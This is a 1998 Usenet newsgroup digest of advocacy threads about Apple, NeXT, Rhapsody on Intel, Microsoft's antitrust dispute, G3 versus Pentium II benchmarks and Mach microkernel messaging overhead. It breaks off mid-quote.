From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <356e3edd.0@206.25.228.5>
Date: 29 May 98 04:51:41 GMT
morbius@eatspam&die.net (Morbius) wrote:
> And the NEXT bozos are somehow exempt...:)
Nope, just as bad. Although I do think that NeXT hardware was the
best ever for the time. The times keep on changing. And they sure
as heck weren't cheap.
Of course BOZO'ness also applies to OS's or anything else people
get *religeous* about. Blind loathing of *heritic* religeous
materials puts you in BOZO land, in my book anyway (as if that
matters). I *HOPE* that I have stopped indulging in the artificial
juice. That's why I put my opinions up so often (at least one of
the reasons). I like getting criticism, I really do appreciate
it, because it helps me see if I've been hitting the stuff too
much. YMMV.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: tjlegg@tiac.net (Dr. Hair)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 29 May 1998 00:44:01 -0400
Organization: The Eleven
Message-ID: <tjlegg-2905980044010001@207.244.92.49>
References: <slrn6mov86.i3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
>Instead, they used the clarification as a loophole to render the entire
>point of the judgement meaningless. I think that is quite literally
>contempt of court.
>.....
>I'm not convinced the contract had any "exemption". That is Microsoft's
>interpretation---there was an enormously wide exemption. It is not mine,
>and I suspect not the state's interpretation when the decree was originally
>entered.
>
>Why would the state ask for a remedy which it knew could be made completely
>meaningless very easily? The whole purpose was to have some pro-competitive
>effect on the actual real market. Why would the state intentionally include
>a loophole which would allow even greater anti-competitive effect than the
>practice being restricted?
>
>It is totally nonsensical.
>
Well I would ask you to go review the original documents...
http://www.stepwise.com/SpecialCoverage/WWDC98/Wednesday.html
I would especially ask you to review the exception that the courts had to
the Windows 3.1 settlement and the December ruling by the courts on the
contempt suit from the DoJ, which basically read the DoJ wrote a bad
settlement and they get to live with it, but Microsoft is basically in
violation of the law, so the court laid down a preliminary injunction.
That was overturned by the appeals court to allow the shipment of Windows
98 (see http:/www.byte.com for why you may or may not want to upgrade, but
if you buy a new system you can kiss your choice goodbye for a few years)
, but the case is still in front of the judge who made the December
ruling.
--
Tom Legg
tjlegg@shore.net
http://www.shore.net/~tjlegg/
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 28 May 1998 20:29:18 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2805982029180001@132.236.171.104>
References: <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <ericb-2405981848570001@132.236.171.104> <6kai2u$89m$1@gte2.gte.net> <ericb-2605981515000001@132.236.171.104> <6kkga7$e0l$10@gte2.gte.net>
In article <6kkga7$e0l$10@gte2.gte.net>, rfelts@. (Roger) wrote:
> On Tue, 26 May 1998 15:15:00 -0400, someone claiming to be Eric
> Bennett wrote:
>
>
> >The author says that Microsoft execs admit it:
>
> My point exactly. The author says. More assertion. Did he write
> "Steve Ballmer, in a speech to industry insiders on the eve of
> Comdex..."
>
> No.
No, but that wouldn't be enough anyway, because he would (like Gates did
in front of the Senate) be able to say he was misquoted. And I certainly
can't produce an audio tape.
The author (James Gleick) is IMO a very respectable fellow, and I trust
him at his world, but perhaps I will send him an email and ask for more
details.
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
The right of every man to work, labor, and produce . . . on equal terms [is]
industrial liberty and lies at the foundation of the equality of all rights
and priviliges.
- Senator John Sherman
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 29 May 1998 01:11:47 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2805982111300001@pm61-21.magicnet.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6kiqhr$22u$1@nargun.cc.uq.edu.au> <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net> <6kkj6t$9l7$1@nargun.cc.uq.edu.au> <cirby-2805981808500001@pm61-24.magicnet.net> <6kkq5b$qkd$1@newsfep1.sprintmail.com>
macghod@concentric.net wrote:
> Chad Irby wrote:
> > "Christopher Smith" <drsmithy@usa.net> wrote:
> >
> > > And a 233Mhz G3 is nowhere near as fast as a 400Mhz pII.
> >
> > Actually, it *is* pretty much "near as fast" as a 400 MHz PII, especially
> > when running things like Photoshop...
>
> On Joe ragosta's page, their is a test with 4 benchmarks for photoshop.
> It tests a p2 300 and g3 266. The g3 ISNT even noticibly faster, just about
> %10.
> And that isnt a even a p2 400 or g3 233
Well, in a few days, you'll hear a bit more about this. It seems that
once you get the PII out of the "sweet spot" for MMX (multiples of 4),
speed drops a *lot*.
Using the PS4 bench at http://www.geocities.com/Paris/Cafe/4363/ I got
some numbers that just plain *killed* a PII-333, and, following scaling,
should beat a PII-400 by about 25%...
It might be an anomaly, but I don't think so. The Pentium numbers scale
pretty well, and I got some good, consistent numbers with the G3/233
(aside from one that couldn't complete because of a PS action problem that
they're working on).
--
Chad Irby cirby@magicnet.net
/ My greatest fear:
/ That future generations will, for some
/ reason, refer to me as an "optimist."
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: Fri, 29 May 1998 00:12:52 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2905980012540001@dialin33418.slip.uci.edu>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg> <6kesfn$c5r$6@ns3.vrx.net> <6kfi4n$452$1@nntp2.ba.best.com> <6kg0hn$689$1@news.digifix.com> <356B9C6F.434C2D58@nstar.net> <6kgapb$a5t$1@news.digifix.com> <356C6096.497E4DBD@nstar.net> <6khtaq$ril$1@news.digifix.com> <rmcassid-2705981426480001@dante.eng.uci.edu> <6kilej$7a6$1@news.digifix.com> <rmcassid-2705982324230001@dialin33411.slip.uci.edu> <6klbtk$6iq$1@news.digifix.com>
In article <6klbtk$6iq$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> On 05/27/98, Robert Cassidy wrote:
> >That's true. So why aren't new cards coming out with proper ROMs?
>
> Because they have to make special ROMs for a small market
> (Apple)
Reasonable enough.
> >And why
> >are some cards coming out with proper ROMs and still no drivers
> >(NumberNine comes to mind). NumberNine *used* to have drivers for the
> Mac,
> >and now no longer does. Not good.
>
> Then how do you know that the cards are still being made with
> the new ROMs?
Because people are finding ways of getting them to work under old or
modified drivers.
-Bob Cassidy
Date: Fri, 29 May 1998 17:32:40 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM>
<6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net>
<356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com>
Organization: Cybermarket Australia
Mime-version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Message-ID: <356e6a40.0@news.camtech.net.au>
In article <6kkeug$j55$1@news10.ispnews.com> , "William Whitehouse"
<garyseven@geocities.com> wrote:
>
>In article <356a268e.0@news.camtech.net.au>, "timothyp@tne.net.au"
><timothyp@tne.net.au> wrote:
>>I dont think drivers are the problem. The problem is hardware sales and Apple's
>>survival. If Apple opens up to Intel hardware then there main source of revenue
>>is going to get hammered. Why??? Because people are cheap and like to buy cheap
>>things.
>
>How is Apple's hardware business going to get hammered any more than it is
>now? People who are dedicated to the PPC have already bought into the PPC.
>People who don't aren't going to be convinced by the unavailability of
>Rhapsody/MacOS X for their PC to buy a PPC Mac just to be able to run it.
I dont really follow your argument! Mine is this. If the average buyer can by
Rhapsody for Macintosh or Rhapsody for PowerPC (assuming little or no legacy
problems) a great percentage of them will go with the CHEAP option. I know
people in pre-press who are already talking of setting up Intel Rhapsody file
servers. Why? Because in OZ they can get closely equivalent hardware (or
perceived as closely equivalent) MUCH cheaper. These are LONG time Mac users
who have been fiercely loyal. This is the same reason that PC's have a dominant
market today (not because MS has a good OS anywhere to be seen). The bottom line
is the bottom line.
>However, if you have one OS running on both platforms you have an instant
>point of comparison for end users. Over time, the word gets out - this is
>the way it happened for Wintel, and it's the way it will have to happen
>for Apple.
What comparison for WinTel? If you are talking about OpenStep's speed
advantages over Windows I hate to tell you this but that info may as well go
with the X files. Cause very few people know about it. Only dedicated NeXT
users. I know I had no idea until I was informed 12 months ago.
>>While I would like to see RhapTel I don't want to see Apple die trying to get it
>>to everyone (i.e. on Intel).
>
>Apple won't die selling RhapTel for a loss any more than MS has died selling
>Windows at a loss. OS development is always a money-losing venture, and
>Apple's OS development overhead is _much_ less than MSs. Apple _will_ die if it
>doesn't expand its share of the desktop computer (hardware) market pronto.
While what you say is true you are still neglecting that ****90%**** of revenues
for Apple come from Hardware. Any sale of Rhapsody Intel that MIGHT go to
Rhapsody PPC is going to hit Apple hard. You also neglect the fact that MS is a
software company. Apple is not.
>As Apple's hardware business is its main cash cow, then why doesn't Apple
>and MS get together in porting NT to the PPC _and_ continue to offer
>RhapTel?
Because MS will want a SHITE load of money to do it. Why would MS give a rats
a... about it anyway? They have the luxury of numbers.
>That way, Apple will see a big boost in its hardware business (due to the
>clear
>price/performance advantages of the PPC - and assuming that Apple promotes
>this advantage more than it is) and it will promote the PPC market share.
>The
>more PPC computers out there, the more potential developers for NT/PPC.
>And,
>as mentioned, the more opportunities for end users to directly compare the
>price/performance of the NT/PPC solution and the Rhapsody/MacOS X/PPC
>solution.
Again, this relies on MS doing the right thing by Apple. I see no reason MS
would do so at the expense of Intel.
<snip>
>The upshot is that, while Apple obviously sees that it needs to protect its
>hardware sales, its involvement and myopic commitment to Rhapsody/MacOS is
>blinding it from doing precisely the things it needs to do to advance its
>hardware business - either in abandoning the PPC and developing exclusively
>for the IA-64, or in promoting PPC as an alternate desktop platform by
>moving to dominant OS to it. The result is that Apple's new proprietary OS
>strategy and
>their hardware strategy severely compromise each other.
Abandoning PPC would be the QUICKEST way for Apple to die. Period. People
would simply lose faith and see no difference in buying Windows on Intel.
While I'm at it, why are so many people touting a chip that does not exist as
being the holy grail? Merced *may* be great but considering Intel's track
record I wont hold my breath. It seems like Merced is the flavour of the month
at the moment. I hardly think that Apple should rely on a maybe chip!
From: "Earl Malmrose" <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 29 May 1998 05:13:16 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <01bd8ac0$3f8b7560$0b0ba8c0@woohoo>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6kiqhr$22u$1@nargun.cc.uq.edu.au> <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net>
NNTP-Posting-Date: 29 May 1998 05:13:16 GMT
George Graves <gmgraves@slip.net> wrote in article
<gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net>...
>
> G3 233MHz, 64 MB RAM, 4 GB, 24XCD = $1599
> Cheap 400 MHz PII @ $2300
Cheap, as in inexpensive. I think I'm going to get one of these:
Gateway
PII-400
17" monitor
4MB 3D AGP video card
64 MB ram
5 GB hd
32x cd
x2 modem
10/100 ethernet
sound card, speakers, mouse, keyboard
$2254
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Fri, 29 May 1998 00:08:08 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2905980008090001@dialin33418.slip.uci.edu>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <slrn6ms4sm.79d.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
In article <slrn6ms4sm.79d.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
mbkennel <replace this with '@'> yahoo.com wrote:
> On Thu, 28 May 1998 14:51:23 -0500, William Whitehouse wrote:
> :As Apple's hardware business is its main cash cow, then why doesn't Apple
> :and MS get together in porting NT to the PPC _and_ continue to offer
> :RhapTel?
>
> Last I heard, Microsoft wanted to shake down IBM and Motorola for about
> $500 million dollars. Almost certainly the price has gone up.
I don't think it was that much, but it was a lot. But times have
changed... At the time, PPC was a direct competitor to x86 and was more
expensive per system for comparable speed, and not close to as fast as
Alpha for slightly less money. It didn't offer anything, really - just
work for MS.
PPC has a different role now - as insurance against Intel problems and Merced.
Consider that you are Bill Gates. Everything MS does is dependent on Intel
not screwing up x86 too bad. In the past that hasn't been a problem, but
now... now things aren't so hot. And Intel has a certain amount of control
over Alpha now as well. Intel is about to jump to Merced. What if Merced
doesn't perform well? Or Intel can't get that x86 support running well. Or
Intel can't push Merced into the range of products that MS wants. Is Bill
*really* so trusting of Intel to get Merced right that he'll risk the
whole company on it?
No, if I were Bill, I'd have a team over in a corner somewhere making PPC
builds of NT5 just for grins. PPC still has legs. PPC can run his little
WinCE toys. PPC can run some pretty big iron as IBM has shown. PPC has 64
bit versions coming, and has 2 companies advancing it. It's close to the
x86 systems price and fast. It's even catching up to the Alpha stuff. I'd
sure as hell take some of those billions and put some of it in an
insurance policy like that.
So I don't doubt that NT/PPC exists in some form. It's just a matter of
getting MS to treat it differently.
> Just because NT shows up on PPC doesn't mean that anybody will really
> try to write programs for it or that it will be viewed as a serious
> alternative to NT/x86.
Maybe after x86 is gone they will. They're going to have to migrate off of
x86 to _something_. What does it matter if it's Merced or PPC?
-Bob Cassidy
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
MIME-Version: 1.0
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<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
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<joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM>
<joe.ragosta-2105981727350001@wil97.dol.net> <3564A134.16A3@CONVEX.COM>
<PU791.1325$Kx3.2024908@news.rdc1.sdca.home.com> <356511FD.BD193ABF@nstar.net>
<35651ADA.FEB13B57@nstar.net> <see-below-2205980229560001@209.24.240.67>
<6k3i9g$be9$7@ns3.vrx.net> <35659602.B924CF86@nstar.net>
<6k3piu$ii2$2@ns3.vrx.net> <3565BDD3.925B8057@nstar.net>
<6k44vt$q7t$1@ns3.vrx.net> <3565EAF0.282C4C33@nstar.net>
<6kbd9q$jkc$2@ns3.vrx.net> <3569969D.5E99D336@nstar.net>
<6kbo5o$qt5$2@ns3.vrx.net> <3569CEFA.836979BC@nstar.net>
<6kdarj$fc03@odie.mcleod.net> <6kk93h$a01$1@news10.ispnews.com>
Message-ID: <7otb1.6672$Kx3.6149110@news.rdc1.sdca.home.com>
Date: Fri, 29 May 1998 07:23:47 GMT
NNTP-Posting-Date: Fri, 29 May 1998 00:23:47 PDT
Organization: @Home Network
In <6kk93h$a01$1@news10.ispnews.com> "William Whitehouse" wrote:
>
> In article <6kdarj$fc03@odie.mcleod.net>, "Michelle L. Buck"
> <buck.erik@mcleod.net> wrote:
>
> > Apple has an icredible brand name as Jobs says. In the enterprise
> >(corporate) world, that brand is universally recognises as "NOT FOR
> >BUSINESS".
>
> Call me an old fogie, but I clearly recall a time (not even fifteen
> years ago) when MS products had "NOT FOR BUSINESS" stamped all over them.
> Business looked for anything that was "IBM APPROVED", and even though MS
> had at least an implied amount of IBM motherhood, it was Lotus apps that
> ruled what PC desktop market there was back then.
>
> Had MS thought then the way you're thinking now, MS would not be even
> close to being what it is today.
>
A historical data point, here. The IBM .vs. MS Business battles were not
about brand.
The battles were about hardware. Specifically, the battle was whether any
cost analysis justified the support of 100's of PC CPU's .vs. 1 mainframe CPU.
What followed was the decentralization of "data processing" with the advent
of Novell networks. The side effect of which yielded localized "information
systems" and the rest is history.
> >Beleive me, at many many companies, a manager that approved a PO
> >for Macs would be fired within the week.
>
> Sounds like the days when I had to put my job (the first one out of
> college no less - 12 years ago) on the line to push Sun workstations
> over the System/360 solution the accountoids were so in love with at the
> time.
>
> I still recall their parting line in our first meeting over the
> exchange - "Sun won't even be in business in two years." The CFO
> personally thanked both me and my supervisor six months later for
> our pro-Sun decision.
>
> [...]
>
You swam against the current and survived. You were a strong swimmer. Most
of the mainframe shops I had the pleasure to work in could not swim on their
own let alone against a current. It takes competent, gifted and dedicated
teams to pull off that Sun conversion. Not only could a decision back then
save $millions but cement a future in the process. Those were the trade-offs
back then. Is Apple forging into markets where their product can save
corporate treasuries and futures? WebObjects, maybe...
> >Listen, I don't know about Maury, but I have worked in the corporate market
> >for more than 10 years. My company makes all of its current revenue from
> >sales of expensive custom vertical applications some of which run on
Solaris
> >and Dec Unix. I was a delegate to the early OSF meetings and I worked in a
> >Fortune 100 company building RPC distributed C++ applications with Openlook
> >and Motif GUIs.
>
> And I argued for Windows 3.0 when most of the IT consultants I knew
> were dogmatically arguing for the continued superiority of the Mac platform.
> Even though OS/2 was considered a memory hog, the majority were betting
> of OS/2 and PM over Windows and the Mac. Again - "IBM APPROVED".
>
Earlier success made you an early adopter?
> >Unix workstations on the desk are just as dead now as we
> >all used to say VMS mainframes were then. The war is over. Wintel won.
>
> Maybe with a few more years in the business you'll realize that the
> war is _never_ completely won in the area of desktop computer technology.
> (If you doubt this, ask Bill Gates. Is Microsoft acting like the war's
> already won?) Remember, the people who were arguing pro-IBM 15 years ago
> had a far better argument than the pro-Wintel apologists do today. Then,
> IBM _did_ have better customer support then the competitors, and it was
> _much_ more expensive to switch between mainframe solutions. Today, both
> developers and end-users can switch between platforms (or use both) for a
> relative pittance. Also remember that it took Sun less than five years to
> effectively pull the rug out from under the entire mainframe business.
>
> In short, the idea that the dominant solution for the last five years
> will be the dominant solution five years from now has _never_ carried the
> day. Between the cover pages of Info Week maybe, but not in the real world.
> Windows' current market dominance doesn't save itself in the long term from
> its clear vulnerabilities.
>
>
No argument... clearly stated reflection on how quickly markets change. MS's
market changed with Netscape's Navigator. MS responded by a "capture" of the
field of play. To the extent that NS marketshare was eroded via MS dumping is
only one measure of their strategy. The field of play clearly is/was slipping
into MS control before DOJ action. MS have defended those vulnerabilities
quite effectively on the strength of marketshare.
Netscape was the Novell of this decade to change the whole computing paradigm.
The man's point remains valid. As long as MS commands greater marketshare
they own the market. The browser war a non-starter the computer industry must
wait for another change in paradigm. Java? MS is in position to move for
control there. Convergence? MSNBC... Communications? Doesn't Bill have a
satellite necklace planned for planet Earth?
I'll listen for this change and embrace the opportunity to "break" from the MS
lock but pray tell? What is your evidence beyond historical?
-r
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: Fri, 29 May 1998 00:33:51 -0700
Message-ID: <see-below-2905980033520001@209.24.241.42>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <aa829-2005982020580001@port27.dialb2.gain-ny.com> <6k3258$md9$1@geraldo.cc.utexas.edu> <aa829-2205981611290001@port17.dialb2.gain-ny.com> <6kb2si$ele$1@geraldo.cc.utexas.edu> <see-below-2505980150360001@209.24.240.99> <1d9ldn2.wey5o41nx46nwN@carina25.wco.com> <6kg9pc$h5j$1@geraldo.cc.utexas.edu> <6khio0$dr2$1@news.spacelab.net> <see-below-2705981600240001@209.24.240.199> <6kjc41$8od$1@news.cs.tu-berlin.de> <6kkcrk$c1k$1@geraldo.cc.utexas.edu>
In article <6kkcrk$c1k$1@geraldo.cc.utexas.edu>,
kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
> Marcel Weiher (marcel@cs.tu-berlin.de) wrote:
> : see-below@not-my-address.com (Matthew Vaughan) writes:
>
> : >In article <6khio0$dr2$1@news.spacelab.net>, "Charles W. Swiger"
>
> : >Also, while the DSP may have been much faster than a 68k CPU, would it
> : >really be that much faster than PPC?
>
> : Nope. IIRC, it was running at 10Mhz and could a 24x24 bit integer
> : multiply-add in a single cycle. 300 MHz G3 blows it out of the
> : water easily. Another point about the DSP, though, is that it
> : was single-tasking w/o VM, so it could be relied on to handle
> : real time tasks.
>
> Keep in mind though, that if DSPs had become popular, the one included with
> the G3 Macs would have been a couple orders of magnitude faster than the
> old 56001 in the NeXT box. A comparison of old vs. new is not valid.
That's not quite what I meant. Another way to ask is, would having PPC + a
modern DSP be enough faster to make it worth the extra cost, and might it
just be better to use 2 PPCs instead?
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy
References: <7qSa1.612$js2.604228@proxye1.san.rr.com> <6kgta8$nc0$7@ns3.vrx.net>
Subject: Re: Q:MacOS X's MACH 3 Question
Message-ID: <D2wb1.47$Qy5.444674@proxye1.san.rr.com>
Date: Fri, 29 May 1998 10:25:39 GMT
NNTP-Posting-Date: Fri, 29 May 1998 03:25:39 PDT
Organization: TWC Road Runner, San Diego, CA
Maury Markowitz wrote in message <6kgta8$nc0$7@ns3.vrx.net>...
>In <7qSa1.612$js2.604228@proxye1.san.rr.com> "Ed Deans." claimed:
>> I was wondering if anyone knows how Apple's going to address the problem
>IBM
>> found when it was using OSF/1's Mach 3 as the basis of its IBM
Microkernel
>> 1.0 for OS/2 PPC, etc. That problem is with the messaging overhead.
>
> AFAIK IBM did not use OSF's kernel (I could be wrong there) but looking
>over the timeline it would have had to be based on one of the very early
ones
>(if it was). Either way it's likely this is prior to the UU's Mach4.0
>roll-in which has occurred.
I seem to be part right and part wrong. IBM started with CMU's Mach 3 in
late '91 (according to IBM), however they did incorporate some technology
(real time stuff) from Mk7.0 according to the OSF website:
<http://www.osf.org/RI/OS/index2.htm>
And from <http://www.osf.org/~irag/memos/transfer/transfer.htm>:
"IBM is developing a product, the IBM Microkernel, based on CMU and RI
microkernel technology. An OS-2 and UNIX personality will be provided. The
Power PC and Intel architectures are targeted. Other work is going on in IBM
as well, but this additional work is under non-disclosure.
IBM is licensing its commercial microkernel to a variety of companies in the
industry, including DEC. Beta releases have been shipped to customers. A
public release is expected in 1995
> Many of the Mach4.0 concepts were then rolled back into OSF/Mk, notably
> the thread model. Not incorporated (AFAIK) is the interesting M4 memory
>model. In addition they also adopted the co-locatable servers from M4,
>and specifically Apple noted that their OS emulator will run in the kernel
>(this is a biggie for overall performance).
True. Wouldn't that open up security and stability issues? Any pointers to
info would be appreciated.
> Colocation was introduced in the Mk6.1 kernel, do you know if the IBM
>project used this or some earlier version? Remember that OSF/1 was
>originally based on the Mach2.5 kernel, not the 3.0++ versions, and OSF
>claims that the latest MK hosted ones are even faster than
I do not know exactly what version IBM started with, I only know it was from
CMU in late '91 and was a Mach 3.0 build. It was enhanced with later OSF
stuff from Mk 7.0, specifically real-time stuff. It was also enhanced with
IBM's own designs for a driver architecture, getting past the IPC slowness
from the version they began with, etc.
>> As I understand it, all messages sent to a port has to have its data
>>checked to verify it's valid for that port. That's a *lot* of overhead.
IBM's
>> solution was to create port classes which described the format a message
>> ought to have.
>
>Typed ports. I believe this was introduced by the M4 project at UU (uhh,
>reading the slide, it was in there anyway even if they didn't start it).
>Their graphs show it outperforming "classic" M3 kernels by about 10 times
>in terms of message latency, and that's actually a little better than a
normal
>BSD kernel (8.7uSecs for BSD, 4.6uSecs for M4). They also had a system
>that linked to their migrating threads, but I'm not entirely clear what it
does.
Thanks for that performance info. IBM's design is a 'typed ports' design.
I'm speaking strictly about release 1.0. I have been unable to locate info
about 2.0.
> Anyway I HIGHLY recommend a quick read of...
>http://www.gr.osf.org/~stephen/fsf96.html, which has an excellent intro to
>the MKLinux project, as well as lots of easy intro information to the
>speedups in the MK kernel. Most notable is this portion...
Thanks. I'll be sure to look it over. Thanks again for the OSF vs. HP-UX
tidbit.
One of the things I'm concerned about is having some understanding of the
massive trouble IBM had retrofitting Mach to host OS/2. I've wondered if
MacOS X will have similar problems. Remember, IBM had demonstrable code for
years, then beta code and even shipped albeit for about two or three months
only. OS/2 PowerPC edition was released.
I'm just wondering how big of a bridge need be built to span the canyon
between OPENSTEP Mach 4.2 for PowerMac and a stable, quality MacOS X.
--Ed.
Date: Fri, 29 May 1998 08:49:32 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Message-ID: <joe.ragosta-2905980849320001@wil95.dol.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6kiqhr$22u$1@nargun.cc.uq.edu.au> <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net> <6kkj6t$9l7$1@nargun.cc.uq.edu.au> <cirby-2805981808500001@pm61-24.magicnet.net> <6kkq5b$qkd$1@newsfep1.sprintmail.com> <cirby-2805982111300001@pm61-21.magicnet.net>
In article <cirby-2805982111300001@pm61-21.magicnet.net>,
cirby@magicnet.net (Chad Irby) wrote:
> macghod@concentric.net wrote:
>
> > Chad Irby wrote:
> > > "Christopher Smith" <drsmithy@usa.net> wrote:
> > >
> > > > And a 233Mhz G3 is nowhere near as fast as a 400Mhz pII.
> > >
> > > Actually, it *is* pretty much "near as fast" as a 400 MHz PII, especially
> > > when running things like Photoshop...
> >
> > On Joe ragosta's page, their is a test with 4 benchmarks for photoshop.
> > It tests a p2 300 and g3 266. The g3 ISNT even noticibly faster, just
about
> > %10.
> > And that isnt a even a p2 400 or g3 233
>
> Well, in a few days, you'll hear a bit more about this. It seems that
> once you get the PII out of the "sweet spot" for MMX (multiples of 4),
> speed drops a *lot*.
This explains the wide discrepancy in performance. It's well known that
MMX does speed up a few functions by a significant percentage. By choosing
the tests to either include or exclude MMX, you can change the results.
Photoshop for AltiVec, anyone?
>
> Using the PS4 bench at http://www.geocities.com/Paris/Cafe/4363/ I got
> some numbers that just plain *killed* a PII-333, and, following scaling,
> should beat a PII-400 by about 25%...
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 29 May 1998 08:47:51 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Message-ID: <joe.ragosta-2905980847510001@wil95.dol.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6kiqhr$22u$1@nargun.cc.uq.edu.au> <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net> <6kkj6t$9l7$1@nargun.cc.uq.edu.au> <cirby-2805981808500001@pm61-24.magicnet.net> <6kkq5b$qkd$1@newsfep1.sprintmail.com>
In article <6kkq5b$qkd$1@newsfep1.sprintmail.com>, macghod@concentric.net wrote:
> In <cirby-2805981808500001@pm61-24.magicnet.net> Chad Irby wrote:
> > "Christopher Smith" <drsmithy@usa.net> wrote:
> >
> > > And a 233Mhz G3 is nowhere near as fast as a 400Mhz pII.
> >
> > Actually, it *is* pretty much "near as fast" as a 400 MHz PII, especially
> > when running things like Photoshop...
>
> On Joe ragosta's page, their is a test with 4 benchmarks for photoshop.
> It tests a p2 300 and g3 266. The g3 ISNT even noticibly faster, just about
> %10.
> And that isnt a even a p2 400 or g3 233
Of course, you ignored the other 3 or 4 Photoshop benchmarks--including PC
Magazine where a G3/300 is 46% faster than a PII/400.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 29 May 1998 08:42:39 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Message-ID: <joe.ragosta-2905980842390001@wil95.dol.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <356ce269.0@206.25.228.5> <gmgraves-2805981058140001@sf-usr1-44-172.dialup.slip.net> <6kkjkt$cpg$1@nargun.cc.uq.edu.au> <cirby-2805981813120001@pm61-24.magicnet.net> <6kkqbt$qkd$2@newsfep1.sprintmail.com>
In article <6kkqbt$qkd$2@newsfep1.sprintmail.com>, macghod@concentric.net wrote:
> In <cirby-2805981813120001@pm61-24.magicnet.net> Chad Irby wrote:
> > "Christopher Smith" <drsmithy@usa.net> wrote:
> >
> > > Sure, some G3s are faster than PCs, and the PPC 750 is *way* faster than
> an
